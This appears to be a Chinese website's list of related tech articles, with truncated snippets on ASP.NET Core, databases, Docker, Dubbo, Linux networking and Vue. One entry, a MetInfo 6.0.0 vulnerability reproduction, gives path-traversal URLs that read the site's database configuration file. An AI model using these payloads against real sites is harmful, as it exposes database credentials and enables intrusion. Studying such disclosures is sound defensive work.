相关文章
ASP.NET Core 对象池化技术
写在前面
Microsoft.Extensions.ObjectPool 是 ASP.NET Core 基础结构的一部分,当对象的初始化成本较高,并且可能被频繁使用时,才适合采用对象池技术;被ObjectPool管理的对象不会进入垃圾回收,使用时通过由实例对象实…
建站知识
2025/2/3 15:03:28
数据库性能优化的解决方案
目录
1、什么是数据库性能优化
1.1 数据库性能优化的概念
1.2 为何需要进行数据库性能优化
1.3 数据库性能优化的好处
2、数据库性能优化的基本原理
2.1 数据库查询优化
2.2 数据库索引优化
2.3 数据库表结构优化
2.4 数据库硬件优化
3、数据库查询优化…
建站知识
2025/1/20 3:45:10
metinfo_6.0.0 任意文件读取漏洞复现
漏洞点为/include/thumb.php 一测:/include/thumb.php?dir..././http/..././config/config_db.php 二测:/include/thumb.php?dir.....///http/.....///config/config_db.php 三测:/include/thumb.php?dirhttp/.....///.....///config/conf…
建站知识
2025/1/23 11:19:31
Linux下安装docker
1、查看系统版本 Docker支持64位版本的CentOS 7和CentOS 8及更高版本,它要求Linux内核版本不低于3.10。查看Linux版本的命令这里推荐两种:lsb_release -a或cat /etc/redhat-release。 显然,当前Linux系统为CentOS7。再查一下内核版本是否不低…
建站知识
2025/1/26 21:34:10
自定义Dubbo RPC通信协议
前言
Dubbo 协议层的核心SPI接口是org.apache.dubbo.rpc.Protocol,通过扩展该接口和围绕的相关接口,就可以让 Dubbo 使用我们自定义的协议来通信。默认的协议是 dubbo,本文提供一个 Grpc 协议的实现。
设计思路 Google 提供了 Java 的 Grpc…
建站知识
2025/1/21 14:23:47
linux网络协议栈2--网络包接收发送流程
上文我们讲了报文格式,应该对数据传输格式有了一定了解,这篇文章主要讲述的是网络包接收和发送的流程,主要是大方面来介绍。
网络包接收流程 当网络数据帧通过网络传输到达网卡时,网卡会将网络数据帧通过DMA的方式放到环形缓冲区…
建站知识
2025/1/20 3:45:45
Vue中的日历组件 Calendar 实现 考勤打卡记录
日历组件 Calendar 可以自定义在页面添加内容。
实现效果图
1.由于Calendar没有右上角月份切换的API事件,可以给组件源码添加自定义添加一个事件 2.也可以通过自带的input事件来获取日历 3.vue页面完整代码 注释:this.$m(this.beginTime).format(…
建站知识
2025/2/2 12:33:21